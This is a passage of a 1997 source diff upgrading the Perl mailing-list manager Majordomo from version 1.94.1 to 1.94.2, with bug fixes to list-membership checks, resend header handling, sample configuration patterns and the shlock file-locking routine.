if ( ! -e $log_file ) { # log file may not exist, check dir perms.
- local($dir) = $log_file =~ m@^(/\S+/)@;
+ local($dir);
+ ($dir) = $log_file =~ m@^(/\S+)/@;
if ( ! -w $dir ) {
$err .= "Unable to create log file in $dir, check permissions.\n"; #
}
@@ -515,8 +516,8 @@
# Deal with unbalanced brackets or parenthesis in an address.
$temp = $_;
- # Nuke anything within quotes. Placate Emacs -------v
- 1 while $temp =~ s/(^|([^\\\"]|\\.)+)\"([^\\\"]|\\.|$)*\"?/$1/g;
+ # Nuke anything within quotes.
+ 1 while $temp =~ s/(^|([^\\\"]|\\.)+)\"(([^\\\"]|\\.)*|$)\"?/$1/g;
# Remove nested parentheses " <- placate emacs' highlighting
1 while $temp =~ s/\([^\(\)]*\)//g;
@@ -707,27 +708,30 @@
sub main'is_list_member {
local($subscriber, $listdir, $clean_list) = @_;
- local($matches);
+ local($matches) = 0;
local(*LIST);
local($_);
print STDERR "is_list_member: enter\n" if $DEBUG;
- open(LIST, "$listdir/$clean_list")
- || &main'abort("Can't read $listdir/$clean_list: $!"); #'"";
-
- print STDERR "is_list_member: checking $listdir/$clean_list for $subscriber\n"
- if $DEBUG;
-
- while (<LIST>) {
- if (&main'addr_match($subscriber, $_,
- (&main'cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) {
- $matches++;
+ $clean_list = "$listdir/$clean_list" if $listdir;
+ print STDERR "is_list_member: checking $clean_list for $subscriber\n"
+ if $DEBUG;
+ if (open(LIST, $clean_list)) {
+ while (<LIST>) {
+ if (&main'addr_match($subscriber, $_,
+ (&main'cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) {
+ $matches++;
+ last;
+ }
}
+ close(LIST);
+ }
+ else {
+ &main'bitch("Can't read $clean_list: $!"); #'"";
}
- close(LIST);
- print STDERR "is_list_member: exit\n" if $DEBUG;
+ print STDERR "is_list_member: exit $matches\n" if $DEBUG;
return($matches);
}
@@ -783,7 +787,8 @@
} else {
$altlist = "$clean_list-digest";
}
- @lists = ($clean_list,$altlist);
+ @lists = ($clean_list);
+ push(@lists, $altlist) if -e "$listdir/$altlist";
}
print STDERR "access_check: checking lists " , join(', ', @lists), "\n"
@@ -791,8 +796,8 @@
$total = 0;
foreach $list (@lists) {
- next unless (-e "$listdir/$list");
- $total += &main'is_list_member($subscriber, $listdir, $list);
+ $list = "$listdir/$list" unless ($list =~ m|^/|);
+ $total += &main'is_list_member($subscriber, "", $list);
}
print STDERR "access_check: exit\n" if $DEBUG;
return $total;
diff -u ./majordomo_version.pl ../majordomo-1.94.2/majordomo_version.pl
--- ./majordomo_version.pl Sun Apr 27 17:36:36 1997
+++ ../majordomo-1.94.2/majordomo_version.pl Sun Apr 27 17:37:56 1997
@@ -1,5 +1,5 @@
-# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.18 1996/11/22 17:30:58 cwilson Exp $
+# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.24 1997/04/27 15:05:38 cwilson Exp $
-$majordomo_version = "1.94.1";
+$majordomo_version = "1.94.2";
1;
Common subdirectories: ./man and ../majordomo-1.94.2/man
diff -u ./resend ../majordomo-1.94.2/resend
--- ./resend Sun Apr 27 17:36:37 1997
+++ ../majordomo-1.94.2/resend Sun Apr 27 17:37:57 1997
@@ -1,12 +1,12 @@
#!/bin/perl
-# $Modified: Mon Dec 23 14:59:36 1996 by cwilson $
+# $Modified: Wed Apr 2 14:16:55 1997 by cwilson $
# Copyright 1992, D. Brent Chapman. All Rights Reserved. For use by
# permission only.
#
# $Source: /sources/cvsrepos/majordomo/resend,v $
-# $Revision: 1.80 $
-# $Date: 1996/12/23 15:04:45 $
+# $Revision: 1.85 $
+# $Date: 1997/04/02 14:04:48 $
# $Author: cwilson $
# $State: Exp $
#
@@ -133,6 +133,11 @@
open (STDERR, ">>$TMPDIR/resend.debug");
}
+# XXX some standard way of setting defaults needs to be done..
+#
+$MAX_HEADER_LINE_LENGTH = $MAX_HEADER_LINE_LENGTH || 128;
+$MAX_TOTAL_HEADER_LENGTH = $MAX_TOTAL_HEADER_LENGTH || 1024;
+
print STDERR "$0 [$$]: starting.\n" if $DEBUG;
if ( ! @ARGV) {
@@ -191,16 +196,6 @@
&set_abort_addr($sender);
&set_log($log, $opt_h, "resend", $opt_l);
-# if approve_passwd (or -a) starts with a leading /, there is a file
-# that holds the password.
-#
-if (defined($opt_a)) {
- if ($opt_a =~ /^\//) {
- open(PWD, $opt_a) || die("resend: open(PWD, \"$opt_a\"): $!");
- $opt_a = &chop_nl(<PWD>);
- }
-}
-
if (defined($opt_A) && ! defined($opt_a)) {
die("resend: must also specify '-a passwd' if using '-A' flag");
}
@@ -460,7 +455,7 @@
local($footer) =
&config'substitute_values(
$config_opts{$opt_l,"message_footer"}, $opt_l); #'
- $footer =~ s/\001/\n/g;
+ $footer =~ s/\001|$/\n/g;
print OUT $footer;
}
@@ -523,7 +518,11 @@
#
close(MAILIN);
unlink(&fileglob("$TMPDIR", "^resend\.$$\.")) || &abort("Error unlinking temp files: $!");
-close(MAILOUT) || &abort("Mailer $sendmail_cmd exited unexpectedly with error $?");
+close(MAILOUT) || do {
+ $? >>= 8;
+ &abort("Mailer $sendmail_cmd exited unexpectedly with error $?")
+ unless ($sendmail_cmd =~ /sendmail/ && $? == $EX_NOUSER);
+};
# Seeya.
#
@@ -552,45 +551,18 @@
# [[[ Scary, I just realized that !@$#% is almost valid perl... ]]]
local(@files) = split (/[:\s]+/, $opt_I);
- RESTRICT:
foreach $file (@files) {
# add $listdir if not explicitly set.
#
- $file = "$listdir/$file" if ($file !~ /^\//);
-
- open ($file, "$file")
- || do {
- &bitch("Majordomo couldn't open the restrict_post file\n" .
- "\"$file\" \n for the list \"$opt_l\".\nThis should be fixed.");
- next RESTRICT;
- };
-
- # Check the from address. To Quote:
- # "Note that this is not guaranteed to contribute to the readability of your program. "
- #
- @output = grep (
- &addr_match($from, $_,
- (&main'cf_ck_bool($opt_l,"mungedomain") #';
- ? 2
- : undef)), <$file>);
-
- if ( $#output != -1 ) { # found a match.
- close ($file); # tidy up
- return ();
- }
+ $file = "$listdir/$file" unless ($file =~ m|^/|);
- seek( $file, 0, 0 ); # rewind
-
- # No match, so check the reply-to address if set.
+ # Return a null message if the sender (from the From: or
+ # Reply-To: headers) is found
#
- if ( defined($reply_to)
- && $reply_to ne $from) { # ie, don't bother if reply-to == from
- @output = grep (&addr_match($reply_to, $_), <$file>);
- }
-
- close ($file);
-
- return if ( $#output != -1 );
+ return "" if &is_list_member($from, "", $file) ||
+ (defined $reply_to &&
+ $reply_to ne $from &&
+ &is_list_member($reply_to, "", $file));
}
# We only get here if nothing matches.
@@ -646,7 +618,7 @@
print STDERR "$0: parse_header: [$.] administrative_header check\n"
if $DEBUG;
- if ($#admin_headers >= $[ && !$approved &&
+ if ($#admin_headers >= $[ && !$approved && defined($opt_s) &&
eval $is_admin_header) {
$gonna_bounce .= "Admin request: $taboo ";
print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG;
@@ -674,8 +646,10 @@
$approved = &chop_nl($1);
if ($approved ne $opt_a # check the p/w given against approve_passwd
&& !(&main'valid_passwd($listdir, $opt_l, $approved))) { # and also against admin_passwd ')
- $gonna_bounce .= "Invalid 'Approved:' header ";
- print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG;
+ if (defined($opt_A)) { # bounce only if list is moderated
+ $gonna_bounce .= "Invalid 'Approved:' header ";
+ print STDERR "$0: parse_header: [$.: boing: $gonna_bounce\n" if $DEBUG;
+ }
undef $approved;
} else {
# reset the bounce counter, so that we return cleanly.
@@ -777,7 +751,7 @@
if ( $config_opts{$opt_l,"message_headers"} ne '' ) {
local($headers) = &config'substitute_values (
$config_opts{$opt_l,"message_headers"}, $opt_l);#';
- $headers =~ s/\001/\n/g;
+ $headers =~ s/\001|$/\n/g;
print OUT $headers;
}
print STDERR "$0: parse_header: returning with '$gonna_bounce'\n" if $DEBUG;
diff -u ./sample.cf ../majordomo-1.94.2/sample.cf
--- ./sample.cf Sun Apr 27 17:36:41 1997
+++ ../majordomo-1.94.2/sample.cf Sun Apr 27 17:38:03 1997
@@ -84,13 +84,13 @@
#
#$max_loadavg = 10; # Choose the maximum allowed load
#
-#$uptime = `/usr/bin/uptime` if -x </usr/bin/uptime>; # Get system uptime
-#$uptime = `/usr/bsd/uptime` if -x </usr/bsd/uptime>; # or uptime is over here.
+#$uptime = `/usr/bin/uptime` if -x '/usr/bin/uptime'; # Get system uptime
+#$uptime = `/usr/bsd/uptime` if -x '/usr/bsd/uptime'; # or uptime is over here.
#
#($avg_1_minute, $avg_5_minutes, $avg_15_minutes) =
# $uptime =~ /average:\s+(\S+),\s+(\S+),\s+(\S+)/;
#
-#exit 75 if ($avg_15_minute >= $max_loadavg); # E_TEMPFAIL
+#exit 75 if ($avg_15_minutes >= $max_loadavg); # E_TEMPFAIL
#
# Set the default subscribe policy for new lists here.
@@ -107,7 +107,16 @@
# @ sign (meaning that it's headed to an smtp->x400 gateway, as well
# as the 'c=' and 'a[dm]=' parts, which mean something as well.
#
+# If you will be receiving x400 style return addresses that do not have
+# an @ sign in them indicating an smtp->x400 gateway, set $no_x400at to 1.
+# Otherwise, leave $no_x400 at 0.
+#
$no_x400at = 0;
+#
+# If you will be receiving x400 addresses without the c= or a[dm]= parts
+# set the $no_true_x400 variable to 1. This will disable checking for
+# "c=" and "a[dm]=" pieces.
+#
$no_true_x400 = 0;
@@ -227,6 +236,7 @@
/^subject:\s*help\b/i
/^subject:\s.*\bchange\b.*\baddress\b/i
/^subject:\s*request\b(.*\b)?addition\b/i
+/^subject:\s*cancel\b/i
END
# Common things that people send to the wrong address.
@@ -239,6 +249,7 @@
# each new majordomo command.
#
$admin_body = <<'END';
+/\bcancel\b/i
/\badd me\b/i
/\bdelete me\b/i
/\bremove\s+me\b/i
@@ -282,6 +293,7 @@
/^subject:\s*Returned mail\b/i
/^subject:\s*unable to deliver mail\b/i
/^subject:\s.*\baway from my mail\b/i
+/^subject:\s*Autoreply/i
END
# Taboo body contents to catch and forward to the approval address
@@ -298,7 +310,7 @@
# Majordomo will not send replies to addresses which match this.
# The match is done case-insensitively.
-$majordomo_dont_reply = '(mailer-daemon|uucp|listserv|majordomo)\@';
+$majordomo_dont_reply = '(mailer-daemon|uucp|listserv|majordomo|listproc)\@';
1;
-# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.28 1996/12/23 15:05:15 cwilson Exp $
+# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.33 1997/04/27 14:56:45 cwilson Exp $
diff -u ./shlock.pl ../majordomo-1.94.2/shlock.pl
--- ./shlock.pl Sun Apr 27 17:36:37 1997
+++ ../majordomo-1.94.2/shlock.pl Sun Apr 27 17:37:57 1997
@@ -7,16 +7,20 @@
package shlock;
require 'majordomo.pl'; # For bitch() and abort()
-sub alert { &main'bitch(@_); }
-
-$shlock_debug = 0;
+# These can be predefined elsewhere, e.g. majordomo.cf
+$waittime = 600 unless $waittime;
+$shlock_debug = 0 unless $shlock_debug;
+$warncount = 20 unless $warncount;
+
+sub alert {
+ &main'bitch(@_);
+ &main'abort("shlock: too many warnings") unless --$warncount;
+}
$EPERM = 1;
$ESRCH = 3;
$EEXIST = 17;
-$waittime = 600 if !$waittime; # can be set before the require.
-
# Lock a process via lockfile.
#
sub main'shlock {
@@ -27,16 +31,16 @@
print STDERR "trying lock '$file' for pid $$\n" if $shlock_debug;
return(undef) unless ($tmp = &extant_file($file));
- while (1) {
+ { # redo-controlled loop
unless (link($tmp, $file)) {
if ($! == $EEXIST) {
print STDERR "lock '$file' already exists\n" if $shlock_debug;
if (&check_lock($file)) {
print STDERR "extant lock is valid\n" if $shlock_debug;
- last;
} else {
print STDERR "lock is invalid; removing\n" if $shlock_debug;
unlink($file); # no message because it might be gone by now
+ redo;
}
} else {
&alert("shlock: link('$tmp', '$file'): $!");
@@ -45,7 +49,6 @@
print STDERR "got lock '$file'\n" if $shlock_debug;
$retcode = 1;
}
- last;
}
unlink($tmp) || &alert("shlock: unlink('$file'): $!");
@@ -182,10 +185,10 @@
if (! -e $tempdir) {
&main'abort("shlock: '$tempdir' does not exist");
}
- elsif (! -d $tempdir) {
+ elsif (! -d _) {
&main'abort("shlock: '$tempdir' is not a directory\n");
}
- elsif (! -w $tempdir) {
+ elsif (! -w _) {
&main'abort("shlock: '$tempdir' is not writable by UID $> GID",
(split(" ", $) ))[0], "\n");
}
@@ -252,7 +255,7 @@
print STDERR "checking extant lock '$file'\n" if $shlock_debug;
unless (open(FILE, "$file")) {
- &alert("shlock: open('$file'): $!");
+ &alert("shlock: open('$file'): $!") if $shlock_debug;
return 1;
}
@@ -281,10 +284,11 @@
}
print STDERR "temporary filename '$tempname'\n" if $shlock_debug;
- while (1) {
+ { # redo-controlled loop
if ( -e $tempname ) {
print STDERR "file '$tempname' exists\n" if $shlock_debug;
- unlink($tempname) || &alert("shlock: unlink('$tempname'): $!");
+ unlink($tempname); # no message because it might be gone by now.
+ redo;
}
elsif (! &main'open_temp(FILE, $tempname)) {
print STDERR "can't create temporary file '$tempname': $!"
@@ -291,7 +295,6 @@
if $shlock_debug;
return(undef);
}
- last;
}
unless (print FILE "$$\n") {
